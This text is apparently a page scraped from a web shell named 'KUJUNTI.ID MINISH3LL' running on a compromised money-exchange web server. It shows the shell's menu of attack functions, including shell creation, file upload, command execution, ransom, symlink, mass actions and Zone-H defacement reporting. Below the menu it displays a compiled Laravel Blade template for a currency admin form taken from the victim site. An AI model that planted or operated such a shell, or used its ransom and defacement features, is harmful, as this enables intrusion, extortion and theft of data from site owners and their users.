KUJUNTI.ID MINISH3LL
Path : /var/www/html/moneyexchange/storage/framework/views/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/moneyexchange/storage/framework/views/206b540b1166187541dc9b9f11b00da893b7eb26.php


<?php $__env->startSection('content'); ?>
<div class="page-wrapper">
  <div class="page-breadcrumb">
    <div class="row">
      <div class="col-12 d-flex no-block align-items-center">
        <h4 class="page-title"><?php echo e(__('message.currency')); ?></h4>
        <div class="ms-auto text-end">
          <nav aria-label="breadcrumb">
            <ol class="breadcrumb">
              <li class="breadcrumb-item">
                <a href="<?php echo e(route('currencies.create')); ?>" class="btn btn-primary btn-sm">
                  <i class="fa fa-plus"></i> 
                  <?php echo e(__('message.add new')); ?>

                </a>
              </li>
            </ol>
          </nav>
        </div>
      </div>
    </div>
  </div>
  <div class="container-fluid" style="padding-top: 0px;">
    <div class="card">
      <div class="card-body form wizard-content">
        <?php if(empty($currency)): ?>
        <form  method="POST" action="<?php echo e(route('currencies.store')); ?>" class="mt-5" enctype="multipart/form-data">
          <?php echo e(csrf_field()); ?>

            <section class="col-sm-6">
              <div class="mb-3 mt-3">
                <label for="email"><?php echo e(__('message.name')); ?></label>
                <input type="text" class="form-control" placeholder="<?php echo e(__('message.name')); ?>" name="name" required>
              </div>
              <div class="mb-3 mt-3">
                <label for="email"><?php echo e(__('message.currency code')); ?></label>
                <input type="text" class="form-control" placeholder="<?php echo e(__('message.currency code')); ?>" name="currency_code" required>
              </div>
              <div class="mb-3">
                <label for="pwd"><?php echo e(__('message.flage')); ?></label>
                <img src="<?php echo e(asset('no-image.jpg')); ?>" class="img-responsive small-size-img img-clickable feature-img feature-image" alt="No Image">
                <input type="file" id="feature_image" class="hidden-element feature-image" name="feature_image">
              </div>
              <div class="mb-3">
                <label for="pwd"><?php echo e(__('message.sample money')); ?></label>
                <img src="<?php echo e(asset('no-image.jpg')); ?>" class="img-responsive small-size-img img-clickable sample-money sample-money1" alt="No Image">
                <input type="file" id="sample_money" class="hidden-element sample-money1" name="sample_money">
              </div>
              <div class="mb-3 mt-3">
                <label><?php echo e(__('message.decimal precision')); ?></label>
                <input type="number" class="form-control" placeholder="<?php echo e(__('message.decimal precision')); ?>" name="decimal_precision" required value="2" min="0" max="4">
              </div>
              <div class="mb-3 mt-3">
                <label><?php echo e(__('message.min exchange amount')); ?></label>
                <input type="number" class="form-control" placeholder="<?php echo e(__('message.min exchange amount')); ?>" name="min_exchange_amount" required value="0" min="0">
              </div>
              <div class="mb-3">
                <label><?php echo e(__('message.is main currency')); ?></label>
                <select class="form-select" name="is_main_currency">
                  <option value='0'><?php echo e(__('message.no')); ?></option>
                  <option value='1'><?php echo e(__('message.yes')); ?></option>
                </select>
              </div>
              <div class="mb-3">
                <label><?php echo e(__('message.child currency')); ?></label>
                <select class="form-select" name="is_main_currency">
                  <option>Select</option>
                  <?php $__currentLoopData = $currencies; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $c): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <option value='<?php echo e($c->id); ?>'><?php echo e($c->name); ?></option>
                  <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                </select>
              </div>
              <div class="text-center">
                <button class="btn btn-danger btn-sm" type="button" onclick="window.history.back();">
                  <?php echo e(__('message.cancel')); ?>

                </button>
                <button type="submit" class="btn btn-primary btn-sm">
                  <i class="fa fa-save"></i>
                  <?php echo e(__('message.save')); ?>

                </button>
              </div>
            </section>
        </form>
        <?php else: ?>
        <form method="POST" action="<?php echo e(route('currencies.update', $currency)); ?>" class="mt-5" enctype="multipart/form-data">
          <input name="_method" type="hidden" value="PUT">
          <?php echo e(csrf_field()); ?>

            <section class="col-sm-6">
              <div class="mb-3 mt-3">
                <label for="email"><?php echo e(__('message.name')); ?></label>
                <input type="text" class="form-control" placeholder="<?php echo e(__('message.name')); ?>" name="name" value="<?php echo e($currency->name); ?>" required>
              </div>
              <div class="mb-3 mt-3">
                <label for="email"><?php echo e(__('message.currency code')); ?></label>
                <input type="text" class="form-control" placeholder="<?php echo e(__('message.currency code')); ?>" name="currency_code" required value="<?php echo e($currency->currency_code); ?>">
              </div>
              <div class="mb-3">
                <label for="pwd"><?php echo e(__('message.flage')); ?></label>
                <img class="img-responsive small-size-img img-clickable feature-img feature-image" src="<?php echo e($currency->flage?asset($currency->flage):asset('images/no-image.jpg')); ?>" alt="No Image"/>
                <input type="file" id="feature_image" class="hidden-element feature-image" name="feature_image"/>
              </div>
              <div class="mb-3">
                <label for="pwd"><?php echo e(__('message.sample money')); ?></label>
                <img class="img-responsive small-size-img img-clickable sample-money sample-money1" src="<?php echo e($currency->sample_money?asset($currency->sample_money):asset('images/no-image.jpg')); ?>" alt="No Image"/>
                <input type="file" id="sample_money" class="hidden-element sample-money1" name="sample_money"/>
              </div>
              <div class="mb-3 mt-3">
                <label><?php echo e(__('message.decimal precision')); ?></label>
                <input type="number" class="form-control" placeholder="<?php echo e(__('message.decimal precision')); ?>" name="decimal_precision" required value="<?php echo e($currency->decimal_precision); ?>" min="0" max="4">
              </div>
              <div class="mb-3 mt-3">
                <label><?php echo e(__('message.min exchange amount')); ?></label>
                <input type="number" class="form-control" placeholder="<?php echo e(__('message.min exchange amount')); ?>" name="min_exchange_amount" required value="<?php echo e($currency->min_exchange_amount); ?>" min="0">
              </div>
              <div class="mb-3">
                <label><?php echo e(__('message.is main currency')); ?></label>
                <select class="form-select" name="is_main_currency">
                  <option value='0' <?php if(!$currency->is_main_currency): ?> selected <?php endif; ?>><?php echo e(__('message.no')); ?></option>
                  <option value='1' <?php if($currency->is_main_currency): ?> selected <?php endif; ?>><?php echo e(__('message.yes')); ?></option>
                </select>
              </div>
              <div class="mb-3">
                <label><?php echo e(__('message.child currency')); ?></label>
                <select class="form-select" name="child_currency_id">
                  <option>Select</option>
                  <?php $__currentLoopData = $currencies; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $c): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <option value='<?php echo e($c->id); ?>' <?php if($c->id==$currency->child_currency_id): ?> selected <?php endif; ?>><?php echo e($c->name); ?></option>
                  <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                </select>
              </div>
              <div class="text-center">
                <button class="btn btn-danger btn-sm" type="button" onclick="window.history.back();">
                  <?php echo e(__('message.cancel')); ?>

                </button>
                <button type="submit" class="btn btn-primary btn-sm">  
                  <i class="fa fa-save"></i>
                  <?php echo e(__('message.save')); ?>

                </button>
              </div>
            </section>
        </form>
        <?php endif; ?>
      </div>
    </div>
  </div>
</div>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('meta'); ?>
  <title><?php echo e(__('message.currency')); ?></title>
<?php $__env->stopSection(); ?>




<?php echo $__env->make('layouts.main', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/html/moneyexchange/resources/views/currency/currencyForm.blade.php ENDPATH**/ ?>

© KUJUNTI.ID